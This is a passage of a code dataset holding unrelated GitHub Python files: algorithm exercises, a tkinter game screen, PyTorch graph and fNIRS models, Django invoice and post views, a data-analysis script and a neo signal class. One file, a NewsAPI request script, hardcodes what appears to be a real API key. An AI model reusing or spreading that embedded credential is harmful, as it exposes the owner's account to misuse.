else:\n r = mid - 1\n return r\n\n\n return(max(len(nums) - posBinarySearch(0, len(nums) -1 , nums, 0), negBinarySearch(0, len(nums) - 1, nums, 0) + 1))\n\n \n\n\n# print(\n# maximumCount(nums = [-3,-2,-1,0,0,1,2])\n# )\n\n# print(\n# maximumCount(nums = [-1])\n# )\n\nprint(\n maximumCount(nums = [-2, -2, -1])\n)","repo_name":"IonHaryono/LeetCode","sub_path":"2529. Maximum Count of Positive Integer and Negative Integer.py","file_name":"2529. Maximum Count of Positive Integer and Negative Integer.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"31629777871","text":"import tkinter as tk\r\nfrom cleric import Cleric\r\nfrom mock_game import MockGame as Game\r\nfrom tkinter import *\r\n\r\n\"\"\"Battleground is activated when a hero walks into a room with a monster\"\"\"\r\n\r\n\r\nclass Battleground:\r\n def __init__(self):\r\n self.root = tk.Tk()\r\n self.root.config(bg='#345')\r\n self.root.title(\"Combat Mode\")\r\n self.window_size = (1200, 900)\r\n self.root.geometry(f\"{self.window_size[0]}x{self.window_size[1]}+250+100\")\r\n self.__hero = None\r\n self.__monster = None\r\n\r\n \"\"\"A GUI that enables the hero to fight the monster. It provides three buttons for three actions. It also has \r\n three textbox's, unfortunately they do not connect properly\"\"\"\r\n\r\n def combat(self, hero, monster):\r\n self.__hero = hero\r\n self.__monster = monster\r\n\r\n start_canvas = tk.Canvas(self.root, width=self.window_size[0], height=self.window_size[1])\r\n start_canvas.configure(bg=\"#345\")\r\n start_canvas.pack(expand=False)\r\n tb_y = self.window_size[1] // 2\r\n\r\n # build Hero textbox\r\n self.__hero_text = tk.Text(start_canvas, width=42, height=15)\r\n self.__hero_text.place(x=0, y=tb_y, anchor=\"w\")\r\n self.__hero_text.insert(\"end\", f\" *****Hero Stats***** {self.__hero}\")\r\n\r\n # build Monster textbox\r\n self.__monster_text = tk.Text(start_canvas, width=42, height=15)\r\n self.__monster_text.place(x=self.window_size[0], y=tb_y, anchor=\"e\")\r\n self.__monster_text.insert(\"end\", f\" *****Monster Stats***** {self.__monster}\")\r\n\r\n # build textbox\r\n self.__message_log = tk.Text(start_canvas, width=60, height=50)\r\n self.__message_log.place(x=self.window_size[0] // 2, y=tb_y, anchor=CENTER)\r\n self.__message_log.insert(\"end\", f\" \")\r\n\r\n # --Buttons\r\n button_y = self.window_size[1] / 2 + 240\r\n button_x = self.window_size[0] / 2 - 40\r\n\r\n # Fight Button\r\n bt_menu_button1 = tk.Button(self.root, text='Fight', font=\"Verdana 10 bold\", width=12)\r\n start_canvas.create_window(button_x - 450, button_y - 50, window=bt_menu_button1)\r\n bt_menu_button1.config(command=lambda: self.combat_commands(self.__hero, self.__monster, \"Fight\"))\r\n\r\n # Special Move Button\r\n bt_menu_button2 = tk.Button(self.root, text='Special Move', font=\"Verdana 10 bold\", width=12)\r\n start_canvas.create_window(button_x - 450, button_y, window=bt_menu_button2)\r\n bt_menu_button2.config(command=lambda: self.combat_commands(self.__hero, self.__monster, \"Special Move\"))\r\n\r\n # Use Potion Button\r\n bt_menu_button3 = tk.Button(self.root, text='Use Potion', font=\"Verdana 10 bold\", width=12)\r\n start_canvas.create_window(button_x - 450, button_y + 50, window=bt_menu_button3)\r\n bt_menu_button3.config(command=lambda: self.combat_commands(self.__hero, self.__monster, \"Potion\"))\r\n\r\n \"\"\"These are the connected commands to the buttons in the above GUI\"\"\"\r\n def combat_commands(self, hero, monster, choice):\r\n # Fight action\r\n if choice == \"Fight\":\r\n hero.fight(hero, monster)\r\n\r\n if hero.get_current_hp() <= 0 or monster.get_current_hp() <= 0:\r\n if hero.get_current_hp() <= 0:\r\n hero.is_dead()\r\n hero.exit()\r\n self.root.destroy()\r\n\r\n # Special Move action\r\n elif choice == \"Special Move\":\r\n if hero == Cleric(Game, hero.get_name()):\r\n hero.special_move(hero)\r\n hero.fight(hero, monster)\r\n else:\r\n hero.special_move(monster)\r\n hero.fight(hero, monster)\r\n\r\n if hero.get_current_hp() <= 0 or monster.get_current_hp() <= 0:\r\n if hero.get_current_hp() <= 0:\r\n hero.is_dead()\r\n hero.exit()\r\n self.root.destroy()\r\n\r\n # Potion action\r\n elif choice == \"Potion\":\r\n hero.use_health_potion()\r\n hero.fight(hero, monster)\r\n if hero.get_current_hp() <= 0 or monster.get_current_hp() <= 0:\r\n if hero.get_current_hp() <= 0:\r\n hero.is_dead()\r\n hero.exit()\r\n self.root.destroy()\r\n\r\n tk.mainloop()\r\n","repo_name":"snowtiger42/Dungeon-Advenutre-2.0","sub_path":"battleground.py","file_name":"battleground.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72615683451","text":"import json\nimport re\nimport sys\n\nstates = {\n 'AK': 'Alaska',\n 'AL': 'Alabama',\n 'AR': 'Arkansas',\n 'AS': 'American Samoa',\n 'AZ': 'Arizona',\n 'CA': 'California',\n 'CO': 'Colorado',\n 'CT': 'Connecticut',\n 'DC': 'District of Columbia',\n 'DE': 'Delaware',\n 'FL': 'Florida',\n 'GA': 'Georgia',\n 'GU': 'Guam',\n 'HI': 'Hawaii',\n 'IA': 'Iowa',\n 'ID': 'Idaho',\n 'IL': 'Illinois',\n 'IN': 'Indiana',\n 'KS': 'Kansas',\n 'KY': 'Kentucky',\n 'LA': 'Louisiana',\n 'MA': 'Massachusetts',\n 'MD': 'Maryland',\n 'ME': 'Maine',\n 'MI': 'Michigan',\n 'MN': 'Minnesota',\n 'MO': 'Missouri',\n 'MP': 'Northern Mariana Islands',\n 'MS': 'Mississippi',\n 'MT': 'Montana',\n 'NA': 'National',\n 'NC': 'North Carolina',\n 'ND': 'North Dakota',\n 'NE': 'Nebraska',\n 'NH': 'New Hampshire',\n 'NJ': 'New Jersey',\n 'NM': 'New Mexico',\n 'NV': 'Nevada',\n 'NY': 'New York',\n 'OH': 'Ohio',\n 'OK': 'Oklahoma',\n 'OR': 'Oregon',\n 'PA': 'Pennsylvania',\n 'PR': 'Puerto Rico',\n 'RI': 'Rhode Island',\n 'SC': 'South Carolina',\n 'SD': 'South Dakota',\n 'TN': 'Tennessee',\n 'TX': 'Texas',\n 'UT': 'Utah',\n 'VA': 'Virginia',\n 'VI': 'Virgin Islands',\n 'VT': 'Vermont',\n 'WA': 'Washington',\n 'WI': 'Wisconsin',\n 'WV': 'West Virginia',\n 'WY': 'Wyoming'\n}\n\ndef main():\n mood_score = open(sys.argv[1])\n mood_scores = {}\n for mood in mood_score:\n word_set, score = mood.split(\"\\t\")\n mood_scores[word_set] = int(score)\n\n tweets = open(sys.argv[2])\n states_mood = {}\n for tweet in tweets:\n tweet_data = json.loads(tweet)\n if \"text\" in tweet_data:\n tweet_data[\"text\"].encode('ascii', 'replace')\n text = tweet_data[\"text\"]\n text = text.rstrip(\"\\n\")\n splitted_text = re.split(r\"[\\s.,?:!\\n]+\", text)\n score_of_mood = 0\n\n for word in splitted_text:\n if word in mood_scores:\n score_of_mood = score_of_mood + mood_scores[word]\n\n user = tweet_data[\"user\"]\n location = user[\"location\"]\n\n for state in states.keys():\n if state in location or states[state] in location:\n if state in states_mood:\n states_mood[state] += score_of_mood\n else:\n states_mood[state] = score_of_mood\n\n happiest = ''\n for state in states_mood.keys():\n if happiest == '':\n happiest = state\n if states_mood[state] > states_mood[happiest]:\n happiest = state\n\n print(happiest)\n\n\nif __name__ == '__main__':\n main()","repo_name":"lemesh2424/db_coursera","sub_path":"week1/assignment/happiest_state.py","file_name":"happiest_state.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30164155652","text":"import torch\n\nclass DWSConv(torch.nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size):\n super(DWSConv, self).__init__()\n self.depth_conv = torch.nn.Conv2d(in_channels, in_channels, kernel_size=kernel_size, stride=1, padding=0, groups=in_channels)\n self.point_conv = torch.nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=1, padding=0, groups=1)\n\n def forward(self, input):\n x = self.depth_conv(input)\n x = self.point_conv(x)\n return x\n\n\nclass fNIRSNet(torch.nn.Module):\n \"\"\"\n fNIRSNet model\n\n Args:\n num_class: Number of classes.\n DHRConv_width: Width of DHRConv = width of fNIRS signals.\n DWConv_height: Height of DWConv = height of 2 * fNIRS channels, and '2' means HbO and HbR.\n num_DHRConv: Number of channels for DHRConv.\n num_DWConv: number of channels for DWConv.\n \"\"\"\n def __init__(self, num_class, DHRConv_width=40, DWConv_height=40, num_DHRConv=4, num_DWConv=8):\n super(fNIRSNet, self).__init__()\n # DHR Module\n self.conv1 = torch.nn.Conv2d(in_channels=1, out_channels=num_DHRConv, kernel_size=(1, DHRConv_width), stride=1, padding=0)\n self.bn1 = torch.nn.BatchNorm2d(num_DHRConv)\n\n # Global Module\n self.conv2 = DWSConv(in_channels=num_DHRConv, out_channels=num_DWConv, kernel_size=(DWConv_height, 1))\n self.bn2 = torch.nn.BatchNorm2d(num_DWConv)\n\n self.fc = torch.nn.Linear(num_DWConv, num_class)\n self.act = torch.nn.Sigmoid()\n\n def forward(self, x):\n x = self.act(self.bn1(self.conv1(x)))\n x = self.act(self.bn2(self.conv2(x)))\n x = x.view(x.size()[0], -1)\n x = self.fc(x)\n return x\n\n","repo_name":"wzhlearning/fNIRSNet","sub_path":"fNIRSNet.py","file_name":"fNIRSNet.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1269246200","text":"from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom datetime import datetime, date\nfrom dateutil.relativedelta import relativedelta\n\nfrom gestorpsi.gcm.models.payment import PaymentType\nfrom gestorpsi.gcm.models.plan import Plan\n\n\nINVOICE_STATUS_CHOICES = (\n (0, _(u'Pendente')),\n (1, _(u'Pago pelo Cliente')),\n (2, _(u'Pago / 1 mês grátis')),\n)\n\nINVOICE_TYPES = (\n ('1', _('Inscription')),\n ('2', _('Monthly fee')),\n)\n\nPAYMENT_WAY = (\n ('1', _(u'Boleto')),\n ('2', _(u'Cartão crédito')),\n)\n\nBANK = (\n ('1', _(u'PagSeguro cartão crédito')),\n ('2', _(u'PagSeguro boleto')),\n ('99', _(u'Depósito em conta')),\n)\n\n\nclass Invoice(models.Model):\n type = models.CharField(max_length=2, null=False, blank=False, choices=INVOICE_TYPES, default='2')\n \n organization = models.ForeignKey('organization.Organization', verbose_name=_('Organizacao'))\n date = models.DateTimeField(_('Data'), auto_now_add=True) # data que foi gerado\n \n date_payed = models.DateField(_(u'Data do Pagamento'), null=True, blank=True)\n date_payed.help_text=_('Preencher apenas quando efetuado pagamento. Formato aaaa/mm/dd Ex: 2014-12-31')\n \n start_date = models.DateField(_(u'Data início periodo'), null=False, blank=False)\n start_date.help_text=_('Formato aaaa/mm/dd Ex: 2014-12-31')\n\n end_date = models.DateField(_(u'Data do fim Periodo'), null=False, blank=False) # vencimento e sem acesso ao sistema\n end_date.help_text=_(u'Formato aaaa/mm/dd Ex: 2014-12-31. Organização modo apenas leitura.')\n \n expiry_date = models.DateField(_('Data de Expiracao'), null=True, blank=True)\n expiry_date.help_text = _('Formato aaaa/mm/dd Ex: 2014-12-31 Data em que o plano vence. Conta do cliente modo apenas leitura.')\n \n ammount = models.DecimalField(_('Valor'), decimal_places=2, max_digits=8, null=True, blank=True)\n ammount.help_text=_('Utilizar pontos, nao virgulas. Ex.: 39.90')\n \n discount = models.DecimalField(_('Desconto'), decimal_places=2, max_digits=8, null=True, blank=True)\n discount.help_text=_('Valor para desconto. Utilizar apenas valores decimais aqui, NAO porcentagem. Ex.: 5.90')\n \n payment_type = models.ForeignKey(PaymentType, null=False, blank=False, related_name='payment_type', verbose_name='Forma de pagamento') # from org choosen\n\n status = models.IntegerField(_(u'Situação'), choices=INVOICE_STATUS_CHOICES, default=0)\n plan = models.ForeignKey(Plan, verbose_name=_('Plan'), null=True, blank=True)\n\n bank = models.CharField(_('Que banco recebeu?'), choices=BANK, max_length=3, null=True, blank=True)\n payment_detail = models.TextField(_(u'Detalhes do pagamento'), null=True, blank=True)\n \n\n class Meta:\n app_label = 'gcm'\n ordering = ['organization', '-date', ]\n\n \n def __unicode__(self):\n return u'%s - %s %s' % (self.organization, self.date.strftime('%d/%m/%Y'), self.plan)\n\n\n # replace comma for dot\n def get_ammount_decimal_dot_(self): \n return u\"%s\".replace(\",\",\".\") % self.ammount\n \n \n def save(self, *args, **kargs):\n\n # new\n if not self.id:\n self.date = datetime.now()\n self.ammount = self.organization.prefered_plan.value\n self.plan = self.organization.prefered_plan\n\n # payed by client\n if self.status == 1 :\n if not self.date_payed:\n self.date_payed = date.today()\n if not self.bank :\n self.bank = 2\n\n # status pendente, reset fields\n if self.status == 0 :\n self.bank = None\n self.date_payed = None\n\n # gratis / register\n if self.status == 2:\n self.date_payed = date.today()\n self.start_date = self.date_payed\n self.end_date = self.start_date + relativedelta(months=1)\n self.expiry_date = self.end_date\n self.payment_type = PaymentType.objects.get(pk=4)\n\n super(Invoice, self).save()\n\n # call method to update org\n self.organization.save()\n\n\n '''\n Is future, current or pass invoice?\n Most easy to find a invoice when manager invoices from org in admin page\n '''\n def situation_(self, *args, **kargs):\n\n if self.start_date > date.today():\n return u'Future'\n\n if self.start_date < date.today() and self.end_date < date.today():\n return u'Pass'\n\n if self.start_date <= date.today() and self.end_date >= date.today():\n return u'Current'\n","repo_name":"gestorpsi-das-20161/gestorpsi-das","sub_path":"gestorpsi/gcm/models/invoice.py","file_name":"invoice.py","file_ext":"py","file_size_in_byte":4560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35226587635","text":"import numpy as np\nimport keras\nimport pyodbc\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nplt.rcParams[\"figure.figsize\"] = [12.8, 9.6]\n\nimport database\nimport config\n\n# def get_data(db):\n# sql1 = 'select team from player_career'\n# result = db.qeurySql(sql)\n# return result\n\nif __name__ == \"__main__\": \n db = database.SQLCommand(config.config_) \n db.connectSqlServer()\n sql1 = 'select ilkid,minutes,pts,reb,asts,stl,blk from player_career where minutes <> 0'\n player_career_sql = db.qeurySql(sql1)\n players = []\n for i in player_career_sql:\n players.append(i[0:7])\n players.pop()\n players.pop()\n players.pop()\n players = np.array(players)\n\n for player in players:\n for i in range(2,7):\n player[i] = int(player[i])\n\n player_id = []\n player_data = []\n for player in players:\n player_id.append(player[0])\n player_data.append(player[2:])\n \n pca = PCA(n_components=2)\n data_pca = pca.fit_transform(player_data)\n print(type(data_pca))\n print(data_pca)\n\n fig, ax = plt.subplots()\n for i in range(int(data_pca.size / 2)):\n #if i%10 == 1:\n player = data_pca[i]\n ax.scatter(player[0], player[1])\n ax.annotate(player_id[i], (player[0], player[1]))\n plt.show()\n","repo_name":"Zhuo-Liu/Database-Comprehensive-Practice","sub_path":"Practice 3/综合实习三-第一题/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10836236712","text":"#LOCK 最简单的锁\n#进程之间的数据是不共享的 共享同一个文件系统\n#如果多个进程同时对一个文件修改 就会造成数据错乱\n\ni = 0 #1.读取i的值\ni = i + 1 #2.对i的值进行加1的操作 3.再把值赋值给i\n\n#对一个数据多次加减一个变量\nfrom multiprocessing import Process\nimport multiprocessing\nblanece = 0\n\ndef change_it(n):\n global blanece\n blanece = blanece + n\n print(blanece)\n blanece = blanece - n\n\n\n\nlock = multiprocessing.Lock() #创建一把锁\n\ndef run_process(n):\n lock.acquire()\n for i in range(1000000):\n change_it(n)\n # # lock.acquire()#获取锁\n # try:\n # change_it(n)\n # finally:\n # pass\n # # lock.release()#释放锁\n lock.release()\n\n\nif __name__ == '__main__':\n for i in range(100):\n p1 = Process(target=run_process,args=(5,))\n p2 = Process(target=run_process,args=(8,))\n p1.start()\n p2.start()\n p1.join()\n p2.join()\n print(blanece)\n","repo_name":"zx490336534/python_Concurrent","sub_path":"01-多进程/06-LOCK锁.py","file_name":"06-LOCK锁.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"6341405424","text":"'''\n两个long的比较指令\n'''\nfrom runtime.frame import Frame\nfrom ..instruction import NoOperandsInstruction\n\n\nclass LCMP(NoOperandsInstruction):\n def execute(self, frame: Frame):\n stack = frame.operand_stack()\n v2 = stack.pop_long()\n v1 = stack.pop_long()\n if v1 > v2:\n stack.push_int(1)\n elif v1 == v2:\n stack.push_int(0)\n else:\n stack.push_int(-1)\n","repo_name":"yzc1114/jvmpy","sub_path":"instructions/comparisons/lcmp.py","file_name":"lcmp.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1877161993","text":"# Tipo de operação\noperacao = str(input())\n# Matriz\nmatriz = list()\n# Criação da matriz\nfor i in range(0, 12, 1):\n linha = list()\n # Criação das linhas\n for l in range(0, 12, 1):\n valor = float(input())\n linha.append(valor)\n matriz.append(linha)\n# Variáveis necessárias\nsoma = 0\ndivisor = 0\nprimeiro = 1\nultimo = 11\n# Pegar valores solicitados\nfor i in range(0, 5, 1):\n for l in range(primeiro, ultimo, 1):\n soma += matriz[i][l]\n divisor += 1\n # Lógica para pegar os valores solicitados\n primeiro += 1\n ultimo -= 1\n\n# Impressão do resultado\nif operacao == 'S':\n soma = round(soma, 1)\n print('%0.1f' %(soma))\nelif operacao == 'M':\n media = round(soma/divisor, 1)\n print('%0.1f' %(media))\nelse:\n pass\n","repo_name":"Mateushrb/URI-Online-Judge","sub_path":"Python/Iniciante/1187 - Área Superior.py","file_name":"1187 - Área Superior.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16887986074","text":"import requests\nimport datetime\n\nAPI_KEY = \"da48ceb91b7b443ca9ca09f71fa1893b\"\nTODAY = datetime.date.today()\nYESTERDAY = TODAY - datetime.timedelta(days=1)\n\nsports_parameters = {\n 'apiKey' : API_KEY,\n \"q\" : \"sports\",\n \"from\": TODAY,\n \"category\" : \"Sports\",\n \"language\" : \"en\",\n}\n\nurl = 'https://newsapi.org/v2/top-headlines/sources'\n\nresponse = requests.get(\n url,\n params = sports_parameters\n )\n\nprint(response.json())","repo_name":"IBM-EPBL/IBM-Project-39420-1660412540","sub_path":"Project Development/Sprint 1/news_datas/sports_news.py","file_name":"sports_news.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"74198254332","text":"#!python\nfrom setuptools import setup\n\ninstall_requires = [\n \"numpy>=1.10\",\n \"Pillow>=7.0\"\n]\n\ntests_require = [\n \"opencv-python>=3\",\n]\n\nsetup(\n name='augkey',\n version='1.0',\n description='RandAugment for Images and Keypoints.',\n author='Andre Telfer',\n author_email='andretelfer@cmail.carleton.ca',\n url='https://github.com/A-Telfer/AugKey',\n packages=['augkey'],\n keywords=['Image Augmentation', \"RandAugment\",\n \"Random Augmentation\", \"Keypoint Augmentation\", \"Augmentation\"],\n install_requires=install_requires,\n tests_require=tests_require\n)\n","repo_name":"A-Telfer/AugKey","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37726649552","text":"\"\"\"\nThis module implements :class:`ChannelView`, which represents a subset of the\nchannels in an :class:`AnalogSignal` or :class:`IrregularlySampledSignal`.\n\nIt replaces the indexing function of the former :class:`ChannelIndex`.\n\"\"\"\n\nimport numpy as np\nfrom .baseneo import BaseNeo\nfrom .basesignal import BaseSignal\nfrom .dataobject import ArrayDict\n\n\nclass ChannelView(BaseNeo):\n \"\"\"\n A tool for indexing a subset of the channels within an :class:`AnalogSignal`\n or :class:`IrregularlySampledSignal`;\n\n *Required attributes/properties*:\n :obj: (AnalogSignal or IrregularlySampledSignal) The signal being indexed.\n :index: (list/1D-array) boolean or integer mask to select the channels of interest.\n\n *Recommended attributes/properties*:\n :name: (str) A label for the view.\n :description: (str) Text description.\n :file_origin: (str) Filesystem path or URL of the original data file.\n :array_annotations: (dict) Dict mapping strings to numpy arrays containing annotations\n for all data points\n\n Note: Any other additional arguments are assumed to be user-specific\n metadata and stored in :attr:`annotations`.\n \"\"\"\n _parent_objects = ('Segment',)\n _parent_attrs = ('segment',)\n _necessary_attrs = (\n ('index', np.ndarray, 1, np.dtype('i')),\n ('obj', ('AnalogSignal', 'IrregularlySampledSignal'), 1)\n )\n # \"mask\" would be an alternative name, proposing \"index\" for\n # backwards-compatibility with ChannelIndex\n\n def __init__(self, obj, index, name=None, description=None, file_origin=None,\n array_annotations=None, **annotations):\n super().__init__(name=name, description=description,\n file_origin=file_origin, **annotations)\n\n if not (isinstance(obj, BaseSignal) or (\n hasattr(obj, \"proxy_for\") and issubclass(obj.proxy_for, BaseSignal))):\n raise ValueError(\"Can only take a ChannelView of an AnalogSignal \"\n \"or an IrregularlySampledSignal\")\n self.obj = obj\n\n # check type and dtype of index and convert index to a common form\n # (accept list or array of bool or int, convert to int array)\n self.index = np.array(index)\n if len(self.index.shape) != 1:\n raise ValueError(\"index must be a 1D array\")\n if self.index.dtype == bool: # convert boolean mask to integer index\n if self.index.size != self.obj.shape[-1]:\n raise ValueError(\"index size does not match number of channels in signal\")\n self.index, = np.nonzero(self.index)\n # allow any type of integer representation\n elif self.index.dtype.char not in np.typecodes['AllInteger']:\n raise ValueError(\"index must be of a list or array of data type boolean or integer\")\n\n if not hasattr(self, 'array_annotations') or not self.array_annotations:\n self.array_annotations = ArrayDict(self._get_arr_ann_length())\n if array_annotations is not None:\n self.array_annotate(**array_annotations)\n\n @property\n def shape(self):\n return (self.obj.shape[0], self.index.size)\n\n def _get_arr_ann_length(self):\n return self.shape[-1]\n\n def array_annotate(self, **array_annotations):\n self.array_annotations.update(array_annotations)\n\n def resolve(self):\n \"\"\"\n Return a copy of the underlying object containing just the subset of channels\n defined by the index.\n \"\"\"\n return self.obj[:, self.index]\n","repo_name":"NeuralEnsemble/python-neo","sub_path":"neo/core/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","stars":275,"dataset":"github-code","pt":"78"} +{"seq_id":"37395179554","text":"\"\"\"\nGraphSAGE Model Implementation\n\nhttps://arxiv.org/pdf/1706.02216.pdf\nInductive Representation Learning on Large Graphs. W.L. Hamilton, R. Ying, and J. Leskovec arXiv:1706.02216 [cs.SI], 2017.\n\"\"\"\n\nimport torch\nfrom torch_geometric.nn import SAGEConv, GATConv\nimport torch.nn.functional as F\n\nclass SAGENet(torch.nn.Module):\n def __init__(self, in_channels, out_channels):\n super(SAGENet, self).__init__()\n self.conv1 = SAGEConv(in_channels, 3, normalize=False)\n self.conv2 = SAGEConv(3, out_channels, normalize=False)\n\n def forward(self, x, data_flow):\n data = data_flow[0]\n x = x[data.n_id]\n x = F.relu(self.conv1((x, None), data.edge_index, size=data.size))\n x = F.dropout(x, p=0.5, training=self.training)\n data = data_flow[1]\n x = self.conv2((x, None), data.edge_index, size=data.size)\n return x\n","repo_name":"hmcreamer/hackRice19","sub_path":"graph_nn_model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24940557558","text":"#-*- coding: utf-8 -*-\r\n\r\nfrom django.core.cache import cache\r\nfrom django.core.urlresolvers import reverse\r\nfrom django.core.exceptions import *\r\nfrom django.core.paginator import Paginator, InvalidPage, EmptyPage\r\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\r\nfrom django.shortcuts import get_object_or_404, render_to_response\r\nfrom django.template.context import RequestContext\r\nfrom django.utils import timezone\r\nfrom posts.forms import *\r\nfrom posts.models import *\r\nimport datetime, base64, zlib\r\n\r\ndef ZI(s):\r\n try:\r\n s=int(s)\r\n if not s: raise\r\n else: return s\r\n except:\r\n raise Http404\r\n\r\ndef PageList(request, qst, per_page=5):\r\n \"\"\"Return Paginator list from QuerySet QST with count PER_PAGE.\"\"\"\r\n paginator = Paginator(qst, per_page)\r\n try: # first page\r\n page = int(request.GET.get('page', '1'))\r\n except ValueError:\r\n page = 1\r\n try: # last page\r\n return paginator.page(page)\r\n except (EmptyPage, InvalidPage):\r\n return paginator.page(paginator.num_pages)\r\n\r\ndef AddSubjListCache(subj_list):\r\n cache_list = []\r\n for subj in subj_list:\r\n if not subj.count:\r\n subj.count = Greeting.objects.filter(subject=subj.id).count()\r\n if not subj.date:\r\n subj.date = Greeting.objects.filter(subject=subj.id).order_by('-date')[0].date\r\n cache_list.append({\r\n 'id': subj.id,\r\n 'subject': subj.subject,\r\n 'count': subj.count,\r\n 'date': subj.date })\r\n cache.add('subjects:.full_list', str(cache_list))\r\n\r\ndef AddPostCache(post):\r\n cache_post = [{\r\n 'id': post.id,\r\n 'author': (hasattr(post, 'author') and post.author and {'id': post.author.id, 'username': post.author.username}) or {},\r\n 'subject': (hasattr(post, 'subject') and post.subject and {'id': post.subject.id, 'subject': post.subject.subject, 'count': post.subject.count}) or {},\r\n 'title': post.title,\r\n 'content': UnpackContent(post),\r\n 'date': post.date }]\r\n cache.add('post:' + str(post.id), str(cache_post))\r\n\r\ndef AddPostListCache(subj_id, posts_list):\r\n cache_list = []\r\n for post in posts_list:\r\n if post.index is None:\r\n post.index = abs(zlib.crc32(post.content.encode('utf-8')))\r\n post.save(force_update=True)\r\n cache_post = {\r\n 'id': post.id,\r\n 'author': (hasattr(post, 'author') and post.author and {'id': post.author.id, 'username': post.author.username}) or {},\r\n 'subject': (hasattr(post, 'subject') and post.subject and {'id': post.subject.id, 'subject': post.subject.subject, 'count': post.subject.count}) or {},\r\n 'title': post.title,\r\n 'content': UnpackContent(post),\r\n 'date': post.date }\r\n if cache_post['date'] is None: # post with None date is first\r\n if subj_id != '.full_list':\r\n cache_list = [cache_post] + cache_list\r\n else:\r\n cache_list.append(cache_post)\r\n cache.add('posts:' + str(subj_id), str(cache_list))\r\n\r\ndef ClearSubjListCache():\r\n cache.delete_many(['subjects:.full_list'])\r\n\r\ndef ClearPostCache(post):\r\n cache.delete_many(['post:' + str(post.id)])\r\n\r\ndef ClearPostListCache(subj_id):\r\n cache.delete_many(['posts:.full_list', 'posts:' + str(subj_id)])\r\n\r\n# pack/unpack text\r\ndef PackContent(post):\r\n return \"base64,\"+base64.b64encode(zlib.compress(post.content.strip('\\r\\n').encode('utf-8')))\r\n\r\ndef UnpackContent(post):\r\n t = post.content\r\n if t[:7]=='base64,':\r\n try: t = zlib.decompress(base64.b64decode(t[7:])).decode('utf-8')\r\n except: pass\r\n else: # repack\r\n post.content = PackContent(post)\r\n post.save(force_update=True)\r\n return t\r\n\r\n# increment subject count\r\ndef IncSubjCount(**kw):\r\n if kw.get('subject'):\r\n try:\r\n form = AddSubjForm(instance=Greeting_Subject.objects.get(subject=kw['subject']))\r\n subj = form.save(commit=False)\r\n subj.count += kw.get('count', 1)\r\n subj.date = datetime.datetime.today()\r\n subj.save(force_update=True)\r\n if subj.count < 1:\r\n subj.delete()\r\n except:\r\n form = AddSubjForm()\r\n subj = form.save(commit=False)\r\n subj.subject = kw['subject']\r\n subj.count = kw.get('count', 1)\r\n subj.save()\r\n return subj\r\n\r\n# Controllers\r\n\r\ndef copy_subj(request):\r\n for subj in Greeting_Subject.objects.all():\r\n form = AddSubjForm(instance=subj)\r\n subj = form.save(commit=False)\r\n subj.count = Greeting.objects.filter(subject=subj.id).count()\r\n subj.date = Greeting.objects.filter(subject=subj.id).order_by('-date')[0].date\r\n subj.save(force_update=True)\r\n ClearSubjListCache()\r\n return HttpResponse('Done.')\r\n\r\ndef list_posts(request, **kw):\r\n per_page = 10\r\n initial = {}\r\n subj_id = ''\r\n posts_list = []\r\n if kw.get('id'):\r\n post_id = kw.get('id', '')\r\n if not cache.has_key('post:' + post_id):\r\n posts_list = get_object_or_404(Greeting, id=ZI(post_id))\r\n AddPostCache(posts_list)\r\n posts_list = eval(cache.get('post:' + post_id) or [])\r\n if len(posts_list) and posts_list[0]['subject']:\r\n initial = posts_list[0]['subject']\r\n if len(posts_list) and posts_list[0]['title']:\r\n initial['title'] = posts_list[0]['title']\r\n elif kw.get('id_subj'):\r\n subj_id = kw.get('id_subj', '') \r\n if not cache.has_key('posts:' + subj_id):\r\n posts_list = Greeting.objects.filter(subject=ZI(subj_id)).order_by('-date')\r\n AddPostListCache(subj_id, posts_list)\r\n posts_list = eval(cache.get('posts:' + subj_id) or [])\r\n if len(posts_list) and posts_list[0]['subject']:\r\n initial = posts_list[0]['subject']\r\n else:\r\n subj_id = '.full_list' \r\n if not cache.has_key('posts:' + subj_id):\r\n posts_list = Greeting.objects.all().order_by('-date')\r\n AddPostListCache(subj_id, posts_list)\r\n posts_list = eval(cache.get('posts:' + subj_id) or [])\r\n posts_title = []\r\n if subj_id != '.full_list':\r\n for post in posts_list:\r\n if post['title']: \r\n posts_title.append([ post['title'], post['id'] ] )\r\n posts_title.sort()\r\n return render_to_response('posts.html', \r\n context_instance=RequestContext(request,\r\n {'request': request,\r\n 'posts': PageList(request, posts_list, per_page),\r\n 